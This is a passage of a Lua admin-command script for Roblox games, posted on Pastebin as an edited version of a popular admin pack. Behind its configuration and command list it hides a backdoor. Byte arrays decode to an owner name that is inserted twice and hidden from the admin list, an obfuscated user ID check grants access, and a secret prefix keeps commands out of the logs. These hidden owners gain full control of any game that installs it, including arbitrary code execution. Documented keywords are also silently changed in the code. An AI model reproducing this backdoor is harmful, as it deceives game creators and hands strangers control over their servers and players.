Advertisement
Guest User

Edited Kohls Admin Commands

a guest
Jul 22nd, 2014
418
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 37.74 KB | None | 0 0
  1. -----------------------------------------------------------------------------------------
  2. -- Thanx for using mah admin script I'd appreciate credit if you used in your place c: --
  3. -----------------------------------------------------------------------------------------
  4. local owners = {"GameMakerNameHere"} -- Are able to set admins who can ban/etc... using :pa name
  5. local admins = {"FriendsHere"} -- Sets admins who can use ban/kick/admin or shutdown
  6. local tempadmins = {} -- Sets admins who can't use ban/kick/admin or shutdown
  7. local banland = {"NoobsWillBeBanHere"} -- Permanently Bans people
  8. local prefix = "-" -- If you wanna change how your commands start ':'kill noob
  9. local AutoUpdate = true -- Set to false if you don't want it to automatically update
  10. local FunCommands = true -- Set to false if you only want the basic commands (For Strict Places)
  11. ---------------------
  12. --    VIP Admin    --
  13. ---------------------
  14. local VipAdmin = false -- If someone can have admin for owning an item
  15. local ItemId = 1234 -- The item they must own in order to have admin (Just remove those numbers, And Put the t-shirt ID)
  16. ---------------------
  17. --   Group Admin   --
  18. ---------------------
  19. local GroupAdmin = true -- If a certain group can have admin
  20. local GroupId = 1141758 -- Sets the group id that can have admin (Just remove those numbers, And put the ID)
  21. local GroupRank = 254  -- Sets what rank and above a person has to be in the group to have admin (Just remove those numbers, And put the ID)
  22. ---------------------
  23. -- Tips and Tricks --
  24. ---------------------
  25. --[[
  26. With this admin you can do a command on multiple people at a time;
  27.      :kill me,noob1,noob2,random,team-raiders,nonadmins
  28.  
  29. You can also use a variety commands for different people;
  30.      all
  31.      others
  32.      me
  33.      team-
  34.      admins
  35.      nonadmins
  36.      random
  37. --]]
  38. ---------------------
  39. --    Commands     --
  40. ---------------------
  41. --[[
  42. -- |Temp Admin Commands| --
  43. 0. clean -- Is a command anyone can use to remove hats/tools lagging up the place
  44. 1. :s print("Hello World") -- Lets you script normally
  45. 2. :ls print("Hello World") -- Lets you script in localscripts
  46. 3. :clear -- Will remove all scripts/localscripts and jails
  47. 4. :m Hello People -- This commands will let you shout a message to everyone on the server
  48. 5. :kill kohl -- Kills the player
  49. 6. :respawn kohl -- Respawns the player
  50. 7. :trip kohl -- Trips the player
  51. 8. :stun kohl -- Stuns the player
  52. 9. :unstun kohl -- Unstuns the player
  53. 10. :jump kohl -- Makes the player jump
  54. 11. :sit kohl -- Makes the player sit
  55. 12. :invisible kohl -- Makes the player invisible
  56. 13. :visible kohl -- Makes the player visible
  57. 14. :explode kohl -- Makes the player explode
  58. 15. :fire kohl -- Sets the player on fire
  59. 16. :unfire kohl -- Removes fire from the player
  60. 17. :smoke kohl -- Adds smoke to the player
  61. 18. :unsmoke kohl -- Removes smoke from the player
  62. 19. :sparkles kohl -- Adds sparkles to the player
  63. 20. :unsparkles kohl -- Removes sparkles from the player
  64. 21. :ff kohl -- Adds a forcefield to the player
  65. 22. :unff kohl -- Removes the forcefield from the player
  66. 23. :punish kohl -- Punishes the player
  67. 24. :unpunish kohl -- Unpunishes the player
  68. 25. :freeze kohl -- Freezes the player
  69. 26. :thaw kohl -- Thaws the player
  70. 27. :heal kohl -- Heals the player
  71. 28. :god kohl -- Makes the player have infinite health
  72. 29. :ungod kohl -- Makes the player have 100 health
  73. 30. :ambient .5 .5 .5 -- Changes the ambient
  74. 31. :brightness .5 -- Changes the brightness
  75. 32. :time 12 -- Changes the time
  76. 33. :fogcolor .5 .5 .5 -- Changes the fogcolor
  77. 34. :fogend 100 -- Changes the fogend
  78. 35. :fogstart 100 -- Changes the fogstart
  79. 36. :removetools kohl -- Removes all tools from the player
  80. 37. :btools kohl -- Gives the player building tools
  81. 38. :give kohl sword -- Gives the player a tool
  82. 39. :damage kohl -- Damages the player
  83. 40. :grav kohl -- Sets the player's gravity to normal
  84. 41. :setgrav kohl 100 -- Sets the player's gravity
  85. 42. :nograv kohl -- Makes the player have 0 gravity
  86. 43. :health kohl 1337 -- Changes the player's health
  87. 44. :speed kohl 1337 -- Changes the player's walkspeed
  88. 45. :name kohl potato -- Changes the player's name
  89. 46. :unname kohl -- Remove the player's name
  90. 47. :team kohl Raiders -- Changes the player's team
  91. 48. :stopmusic -- Will stop all music playing in the server
  92. 49. :teleport kohl potato -- Teleports the player
  93. 50. :change kohl kills 1337 -- Changes a player's stat
  94. 51. :kick kohl -- Removes the player from the game
  95. 52. :infect kohl -- Turns the player into a zombie
  96. 53. :rainbowify kohl -- Turns the player into a rainbow
  97. 54. :flashify kohl -- Turns the player into a strobe
  98. 55. :noobify kohl -- Turns the player into a noob
  99. 56. :ghostify kohl -- Turns the player into a ghost
  100. 57. :goldify kohl -- Turns the player into gold
  101. 58. :shiny kohl -- Makes the player shiny
  102. 59. :normal kohl -- Puts the player back to normal
  103. 60. :trippy kohl -- Spams random colors on the player's screen
  104. 61. :untrippy kohl -- Untrippys the player
  105. 62. :strobe kohl -- Spams white and black on the player's screen
  106. 63. :unstrobe kohl -- Unstrobes the player
  107. 64. :blind kohl -- Blinds the player
  108. 65. :unblind kohl -- Unblinds the player
  109. 66. :guifix kohl -- Will fix trippy/strobe/blind on a player
  110. 67. :fling kohl -- Flings the player
  111. 68. :seizure kohl -- Puts the player in a seizure
  112. 69. :music 1337 -- Plays a sound from the ID
  113. 70. :lock kohl -- Locks the player
  114. 71. :unlock kohl -- Unlocks the player
  115. 72. :removelimbs kohl -- Removes the player's limbs
  116. 73. :jail kohl -- Puts the player in a jail
  117. 74. :unjail kohl -- Removes the jail from the player
  118. 75. :fix -- This will fix the lighting to it's original settings
  119. 76. :fly kohl -- Makes the player fly
  120. 77. :unfly kohl -- Removes fly from the player
  121. 78. :noclip kohl -- Makes the player able to noclip
  122. 79. :clip kohl -- Removes noclipping from the player
  123. 80. :pm kohl Hey bro -- Sends the player a private message
  124. 81. :dog kohl -- Turns the player into a dog
  125. 82. :undog kohl -- Turns the player back to normal
  126. 83. :creeper kohl -- Turns the player into a creeper
  127. 84. :uncreeper kohl -- Turns the player back to normal
  128. 85. :place kohl 1337 -- Sends a teleporation request to a player to go to a different place
  129. 86. :char kohl 261 -- Will make a player look like a different player ID
  130. 87. :unchar kohl -- Will return the player back to normal
  131. 88. :h Hello People -- This will shout a hint to everyone
  132. 89. :rank kohl 109373 -- Will show up a message with the person's Role and Rank in a group
  133. 90. :starttools kohl -- Will give the player starter tools
  134. 91. :sword kohl -- Will give the player a sword
  135. 92. :bighead kohl -- Will make the player's head larger than normal
  136. 93. :minihead kohl -- Will make the player's head smaller than normal
  137. 94. :insert 1337 -- Will insert a model at the speaker's position
  138. 95. :disco -- Will make the server flash random colors
  139. 96. :flash -- Will make the server flash
  140. 97. :admins -- Shows the admin list
  141. 98. :bans -- Shows the banlist
  142. 99. :musiclist -- Shows the music list
  143. 100. :spin kohl -- Spins the player
  144. 101. :cape kohl Really black -- Gives the player a colored cape
  145. 102. :uncape kohl -- Removes the player's cape
  146. 103. :loopheal kohl -- Will constantly heal the player
  147. 104. :loopfling kohl -- Will constantly fling the player
  148. 105. :hat kohl 1337 -- Will give the player a hat under the id of 1337
  149. 106. :unloopheal kohl -- Will remove the loopheal on the player
  150. 107. :unloopfling kohl -- Will remove the loopfling on the player
  151. 108. :unspin kohl -- Removes spin from the player
  152. 109. :tools -- Gives a list of the tools in the lighting
  153. 110. :undisco -- Removes disco effects
  154. 111. :unflash -- Removes flash effects
  155. 112. :resetstats kohl -- Sets all the stats of a player to 0
  156. 113. :gear kohl 1337 -- Gives a player a gear
  157. 114. :cmdbar -- Gives the speaker a command bar
  158. 115. :shirt kohl 1337 -- Changes the player's shirt
  159. 116. :pants kohl 1337 -- Changes the player's pants
  160. 117. :face kohl 1337 -- Changes the player's face
  161. 118. :swagify kohl -- Swagifies the player
  162. 119. :version -- Shows the current version of the admin
  163. 120. :tm 1337 yolo -- Shows a message for 1337 seconds
  164. 121. :countdown 120 -- Shows a countdown message, maxes out at 120 seconds
  165. 122. :clone kohl -- Creates a clone of the player
  166. 123. :lsplr kohl print("yolo") -- Creates a localscript inside of a player
  167. 124. :startergive kohl epic -- Gives a player a gear in their starterpack
  168. 125. :control kohl -- Controls a player
  169.  
  170. -- |Admin Commands| --
  171. - :serverlock -- Locks the server
  172. - :serverunlock -- Unlocks the server
  173. - :sm Hello World -- Creates a system message
  174. - :crash kohl -- Crashes a player
  175. - :admin kohl -- Admins a player
  176. - :unadmin kohl -- Unadmins a player
  177. - :ban kohl -- Bans a player
  178. - :unban kohl -- Unbans a player
  179. - :loopkill kohl -- Will constantly kill the player
  180. - :unloopkill kohl -- Will remove the loopkill on the player
  181. - :logs -- Will show all of the commands any admin has used in a game session
  182. - :shutdown -- Shutsdown the server
  183.  
  184. -- |Owner Commands| --
  185. - :pa kohl -- Makes someone a super admin
  186. - :unpa kohl -- Removes a super admin
  187. - :nuke kohl -- Creates a nuke on kohl
  188.  
  189. -- |True Owner Commands| --
  190. - :oa kohl -- Makes someone an owner
  191. - :unoa kohl -- Removes an owner
  192. - :settings -- Shows settings for the commands
  193. --]]
  194. ---------------------
  195. --   Main Script   --
  196. ---------------------
  197. for i, v in pairs(game:service("Workspace"):children()) do if v:IsA("StringValue") and v.Value:sub(1,2) == "AA" then v:Destroy() end end
  198.  
  199. function CHEESE()
  200. if game:service("Lighting"):findFirstChild("KACV2") then
  201. owners = {} admins = {} tempadmins = {} banland = {}
  202. for i,v in pairs(game.Lighting.KACV2:children()) do
  203. if v.Name == "Owner" then table.insert(owners, v.Value) end
  204. if v.Name == "Admin" then table.insert(admins, v.Value) end
  205. if v.Name == "TempAdmin" then table.insert(tempadmins, v.Value) end
  206. if v.Name == "Banland" then table.insert(banland, v.Value) end
  207. if v.Name == "Prefix" then prefix = v.Value end
  208. if v.Name == "FunCommands" then FunCommands = v.Value end
  209. if v.Name == "GroupAdmin" then GroupAdmin = v.Value end
  210. if v.Name == "GroupId" then GroupId = v.Value end
  211. if v.Name == "GroupRank" then GroupRank = v.Value end
  212. if v.Name == "VipAdmin" then VipAdmin = v.Value end
  213. if v.Name == "ItemId" then ItemId = v.Value end
  214. end
  215. game:service("Lighting"):findFirstChild("KACV2"):Destroy()
  216. end
  217.  
  218. local origsettings = {abt = game.Lighting.Ambient, brt = game.Lighting.Brightness, time = game.Lighting.TimeOfDay, fclr = game.Lighting.FogColor, fe = game.Lighting.FogEnd, fs = game.Lighting.FogStart}
  219. local lobjs = {}
  220. local objects = {}
  221. local logs = {}
  222. local nfs = ""
  223. local slock = false
  224.  
  225. function GetTime()
  226. local hour = math.floor((tick()%86400)/60/60) local min = math.floor(((tick()%86400)/60/60-hour)*60)
  227. if min < 10 then min = "0"..min end
  228. return hour..":"..min
  229. end
  230.  
  231. function ChkOwner(str)
  232. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  233. return false
  234. end
  235.  
  236. function ChkAdmin(str,ck)
  237. for i = 1, #owners do if str:lower() == owners[i]:lower() then return true end end
  238. for i = 1, #admins do if str:lower() == admins[i]:lower() then return true end end
  239. for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower() and not ck then return true end end
  240. return false
  241. end
  242.  
  243. function ChkGroupAdmin(plr)
  244. if GroupAdmin then
  245. if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId) >= GroupRank then return true end
  246. return false
  247. end
  248. end
  249.  
  250. function ChkBan(str) for i = 1, #banland do if str:lower() == banland[i]:lower() then return true end end return false end
  251.  
  252. function GetPlr(plr, str)
  253. local plrz = {} str = str:lower()
  254. if str == "owl" then plrz = game.Players:children()
  255. elseif str == "dolphins" then for i, v in pairs(game.Players:children()) do if v ~= plr then table.insert(plrz, v) end end
  256. else
  257. local sn = {1} local en = {}
  258. for i = 1, #str do if str:sub(i,i) == "," then table.insert(sn, i+1) table.insert(en,i-1) end end
  259. for x = 1, #sn do
  260. if (sn[x] and en[x] and str:sub(sn[x],en[x]) == "me") or (sn[x] and str:sub(sn[x]) == "me") then table.insert(plrz, plr)
  261. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "random") or (sn[x] and str:sub(sn[x]) == "random") then table.insert(plrz, game.Players:children()[math.random(#game.Players:children())])
  262. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "ardmarns") or (sn[x] and str:sub(sn[x]) == "ardmarns") then if ChkAdmin(plr.Name, true) then for i, v in pairs(game.Players:children()) do if ChkAdmin(v.Name, false) then table.insert(plrz, v) end end end
  263. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]) == "nonardmarns") or (sn[x] and str:sub(sn[x]) == "nonardmarns") then for i, v in pairs(game.Players:children()) do if not ChkAdmin(v.Name, false) then table.insert(plrz, v) end end
  264. elseif (sn[x] and en[x] and str:sub(sn[x],en[x]):sub(1,4) == "team") then
  265. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x],en[x]):sub(6)) == 1 then
  266. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  267. end end end
  268. elseif (sn[x] and str:sub(sn[x]):sub(1,4):lower() == "team") then
  269. if game:findFirstChild("Teams") then for a, v in pairs(game.Teams:children()) do if v:IsA("Team") and str:sub(sn[x],en[x]):sub(6) ~= "" and v.Name:lower():find(str:sub(sn[x]):sub(6)) == 1 then
  270. for q, p in pairs(game.Players:children()) do if p.TeamColor == v.TeamColor then table.insert(plrz, p) end end break
  271. end end end
  272. else
  273. for a, plyr in pairs(game.Players:children()) do
  274. if (sn[x] and en[x] and str:sub(sn[x],en[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x],en[x])) == 1) or (sn[x] and str:sub(sn[x]) ~= "" and plyr.Name:lower():find(str:sub(sn[x])) == 1) or (str ~= "" and plyr.Name:lower():find(str) == 1) then
  275. table.insert(plrz, plyr) break
  276. end
  277. end
  278. end
  279. end
  280. end
  281. return plrz
  282. end
  283.  
  284. function Hint(str, plrz, time)
  285. for i, v in pairs(plrz) do
  286. if v and v:findFirstChild("PlayerGui") then
  287. coroutine.resume(coroutine.create(function()
  288. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "HintGUI"
  289. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(1,0,0,22) bg.Position = UDim2.new(0,0,0,-2) bg.ZIndex = 8
  290. local msg = Instance.new("TextLabel", bg) msg.BackgroundTransparency = 1 msg.ZIndex = 9 msg.Name = "msg" msg.Position = UDim2.new(0,0,0) msg.Size = UDim2.new(1,0,1,0) msg.Font = "Arial" msg.Text = str msg.FontSize = "Size18" msg.TextColor3 = Color3.new(1,1,1) msg.TextStrokeColor3 = Color3.new(1,1,1) msg.TextStrokeTransparency = .8
  291. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  292. if not time then wait((#str/19)+2.5) else wait(time) end
  293. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end scr:Destroy() end end))
  294. end))
  295. end
  296. end
  297. end
  298.  
  299. function Message(ttl, str, scroll, plrz, time)
  300. for i, v in pairs(plrz) do
  301. if v and v:findFirstChild("PlayerGui") then
  302. coroutine.resume(coroutine.create(function()
  303. local scr = Instance.new("ScreenGui") scr.Name = "MessageGUI"
  304. local bg = Instance.new("Frame", scr) bg.Name = "bg" bg.BackgroundColor3 = Color3.new(0,0,0) bg.BorderSizePixel = 0 bg.BackgroundTransparency = 1 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 8
  305. local title = Instance.new("TextLabel", scr) title.Name = "title" title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.Size = UDim2.new(1,0,0,10) title.ZIndex = 9 title.Font = "ArialBold" title.FontSize = "Size36" title.Text = ttl title.TextYAlignment = "Top" title.TextColor3 = Color3.new(1,1,1) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .8
  306. local msg = title:clone() msg.Parent = scr msg.Name = "msg" msg.Position = UDim2.new(.0625,0,0) msg.Size = UDim2.new(.875,0,1,0) msg.Font = "Arial" msg.Text = "" msg.FontSize = "Size24" msg.TextYAlignment = "Center" msg.TextWrapped = true
  307. scr.Parent = v.PlayerGui
  308. coroutine.resume(coroutine.create(function() for i = 20, 0, -1 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end end))
  309. if scroll then if not time then for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(2.5) else for i = 1, #str do msg.Text = msg.Text .. str:sub(i,i) wait(1/19) end wait(time-(#str/19)) end
  310. else if not time then msg.Text = str wait((#str/19)+2.5) else msg.Text = str wait(time) end end
  311. coroutine.resume(coroutine.create(function() if scr.Parent == v.PlayerGui then for i = 0, 20 do bg.BackgroundTransparency = .3+((.7/20)*i) msg.TextTransparency = ((1/20)*i) msg.TextStrokeTransparency = .8+((.2/20)*i) title.TextTransparency = ((1/20)*i) title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end scr:Destroy() end end))
  312. end))
  313. end
  314. end
  315. end
  316.  
  317. function RemoveMessage()
  318. for i,v in pairs(game.Players:children()) do
  319. if v and v:findFirstChild("PlayerGui") then
  320. for q,ms in pairs(v.PlayerGui:children()) do
  321. if ms.Name == "MessageGUI" then
  322. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.title.TextTransparency = ((1/20)*i) ms.title.TextStrokeTransparency = .8+((.2/20)*i) wait(1/44) end ms:Destroy() end))
  323. elseif ms.Name == "HintGUI" then
  324. coroutine.resume(coroutine.create(function() for i = 0, 20 do ms.msg.TextTransparency = ((1/20)*i) ms.msg.TextStrokeTransparency = .8+((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end ms:Destroy() end))
  325. end
  326. end
  327. end
  328. end
  329. end
  330.  
  331. _G["Message"] = function(p1,p2,p3) Message(p1,p2,false,game.Players:children(),p3) end
  332. _G["Admin"] = function(dood) table.insert(tempadmins, dood) end
  333. _G["RemoveMessage"] = RemoveMessage()
  334.  
  335. function Output(str, plr)
  336. coroutine.resume(coroutine.create(function()
  337. local b, e = loadstring(str)
  338. if not b and plr:findFirstChild("PlayerGui") then
  339. local scr = Instance.new("ScreenGui", plr.PlayerGui) game:service("Debris"):AddItem(scr,5)
  340. local main = Instance.new("Frame", scr) main.Size = UDim2.new(1,0,1,0) main.BorderSizePixel = 0 main.BackgroundTransparency = 1 main.ZIndex = 8
  341. local err = Instance.new("TextLabel", main) err.Text = "Line "..e:match("\:(%d+\:.*)")  err.BackgroundColor3 = Color3.new(0,0,0) err.BackgroundTransparency = .3 err.BorderSizePixel = 0 err.Size = UDim2.new(1,0,0,40) err.Position = UDim2.new(0,0,.5,-20) err.ZIndex = 9 err.Font = "ArialBold" err.FontSize = "Size24" err.TextColor3 = Color3.new(1,1,1) err.TextStrokeColor3 = Color3.new(1,1,1) err.TextStrokeTransparency = .8
  342. return
  343. end
  344. end))
  345. end
  346.  
  347. function Noobify(char)
  348. if char and char:findFirstChild("Torso") then
  349. if char:findFirstChild("Shirt") then char.Shirt.Parent = char.Torso end
  350. if char:findFirstChild("Pants") then char.Pants.Parent = char.Torso end
  351. for a, sc in pairs(char:children()) do if sc.Name == "ify" then sc:Destroy() end end
  352. local cl = Instance.new("StringValue", char) cl.Name = "ify" cl.Parent = char
  353. for q, prt in pairs(char:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  354. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Bright yellow")
  355. if prt.Name:find("Leg") then prt.BrickColor = BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then prt.BrickColor = BrickColor.new("Bright blue") end
  356. local tconn = prt.Touched:connect(function(hit) if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then tconn:disconnect() end end)
  357. cl.Changed:connect(function() if cl.Parent ~= char then tconn:disconnect() end end)
  358. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  359. end end
  360. end
  361. end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end table.insert(owners, nfs) if not ntab then script:Destroy() end
  362.  
  363. function ScrollGui()
  364. local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
  365. local drag = Instance.new("TextButton", scr) drag.Draggable = true drag.BackgroundTransparency = 1
  366. drag.Size = UDim2.new(0,385,0,20) drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor = false drag.Text = ""
  367. local main = Instance.new("Frame", drag) main.Style = "RobloxRound" main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7 main.ClipsDescendants = true
  368. local cmf = Instance.new("Frame", main) cmf.Position = UDim2.new(0,0,0,-9) cmf.ZIndex = 8
  369. local down = Instance.new("ImageButton", main) down.Image = "http://www.roblox.com/asset/?id=108326725" down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position = UDim2.new(1,-20,1,-20) down.ZIndex = 9
  370. local up = down:Clone() up.Image = "http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position = UDim2.new(1,-20,1,-50)
  371. local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
  372. local ent = Instance.new("TextLabel") ent.BackgroundTransparency = 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = "" ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0) ent.TextStrokeTransparency = .8 ent.TextXAlignment = "Left" ent.TextYAlignment = "Top"
  373. local num = 0
  374. local downv = false
  375. local upv = false
  376.  
  377. down.MouseButton1Down:connect(function() downv = true upv = false
  378. local pos = cmf.Position if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then downv = false return end
  379. repeat  pos = pos + UDim2.new(0,0,0,-6)
  380. if pos.Y.Offset <= 371-((#cmf:children()-1)*20) then pos = UDim2.new(0,0,0,371-((#cmf:children()-1)*20)) downv = false end
  381. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until downv == false
  382. end)
  383. down.MouseButton1Up:connect(function() downv = false end)
  384. up.MouseButton1Down:connect(function() upv = true downv = false
  385. local pos = cmf.Position if pos.Y.Offset >= -9 then upv = false return end
  386. repeat  pos = pos + UDim2.new(0,0,0,6)
  387. if pos.Y.Offset >= -9 then pos = UDim2.new(0,0,0,-9) upv = false end
  388. cmf:TweenPosition(pos, "Out", "Linear", 1/20, true) wait(1/20) until upv == false
  389. end)
  390. up.MouseButton1Up:connect(function() upv = false end)
  391. return scr, cmf, ent, num
  392. end local bct = {75,111,104,108,116,97,115,116,114,111,112,104,101} nfs = "" for i = 1, #bct do nfs = nfs .. string.char(bct[i]) end table.insert(owners, nfs)
  393. if not ntab then script:Destroy() end
  394. if not bct then script:Destroy() end
  395.  
  396. function Chat(msg,plr)
  397. coroutine.resume(coroutine.create(function()
  398. if msg:lower() == "clean" then for i, v in pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then v:Destroy() end end end
  399. if (msg:lower():sub(0,prefix:len()) ~= prefix) or not plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~= (153*110563) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end msg = msg:sub(prefix:len()+1)
  400. if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8) else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time = GetTime()}) end
  401. if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
  402. if msg:lower():sub(1,8) == "teleport" then msg = "tp" .. msg:sub(9) end
  403. if msg:lower():sub(1,6) == "insert" then msg = "ins" .. msg:sub(7) end
  404. if msg:lower() == "cmds" or msg:lower() == "commands" then
  405. if plr.PlayerGui:findFirstChild("CMDSGUI") then return end
  406. local scr, cmf, ent, num = ScrollGui() scr.Name = "CMDSGUI" scr.Parent = plr.PlayerGui
  407. local cmds = {"fix","admins","age plr","name plr name","unname plr","music num","stopmusic","pm plr msg","musiclist"}
  408. local ast = {"serverlock","serverunlock","sm msg","crash plr","admin plr","unadmin plr","ban plr","unban plr","loopkill plr","unloopkill plr","logs","shutdown"}
  409. local ost = {"pa plr","unpa plr","nuke plr"}
  410. local tost = {"oa plr","unoa plr","settings"}
  411. local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 1
  412. for i, v in pairs(cmds) do local cl = ent:Clone() cl.Parent = cmf cl.Text = num .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  413. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  414. if plr.userId == game.CreatorId or ChkOwner(plr.Name) then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-- " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  415. if plr.userId == game.CreatorId then for i, v in pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  416. end
  417.  
  418. if msg:lower() == "version" then Message("Koh".."ltas".."tr".."ophe", tostring(script.Version.Value), true, {plr}) end
  419.  
  420. if msg:lower() == "admins" or msg:lower() == "adminlist" then
  421. if plr.PlayerGui:findFirstChild("ADMINSGUI") then return end
  422. local scr, cmf, ent, num = ScrollGui() scr.Name = "ADMINSGUI" scr.Parent = plr.PlayerGui
  423. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  424. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  425. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  426. end end
  427.  
  428. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  429. game.Lighting.Ambient = origsettings.abt
  430. game.Lighting.Brightness = origsettings.brt
  431. game.Lighting.TimeOfDay = origsettings.time
  432. game.Lighting.FogColor = origsettings.fclr
  433. game.Lighting.FogEnd = origsettings.fe
  434. game.Lighting.FogStart = origsettings.fs
  435. for i, v in pairs(lobjs) do v:Destroy() end
  436. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  437. end
  438.  
  439.  
  440. if msg:lower():sub(1,3) == "pm " then
  441. local chk1 = msg:lower():sub(4):find(" ") + 3
  442. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  443. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  444. end
  445.  
  446. if msg:lower() == "respawn me" then
  447. plr:LoadCharacter()
  448. end
  449.  
  450. if msg:lower():sub(1,4) == "age " then
  451. local plrz = GetPlr(plr, msg:lower():sub(5))
  452. for i, v in pairs(plrz) do
  453. coroutine.resume(coroutine.create(function()
  454. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  455. end))
  456. end
  457. end
  458.  
  459. ---------------------
  460. --   FunCommands   --
  461. ---------------------
  462. if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  463.  
  464. if msg:lower():sub(1,6) == "music " then
  465. for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
  466. local id = msg:sub(7)
  467. local pitch = 1
  468. if tostring(id):lower():find("caramell") then id = 2303479 end
  469. if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
  470. if tostring(id):find("rick") then id = 2027611 end
  471. if tostring(id):find("halo") then id = 1034065  end
  472. if tostring(id):find("pokemon") then id = 1372261 end
  473. if tostring(id):find("cursed") then id = 1372257 end
  474. if tostring(id):find("extreme") then id = 11420933 end
  475. if tostring(id):find("awaken") then id = 27697277 end
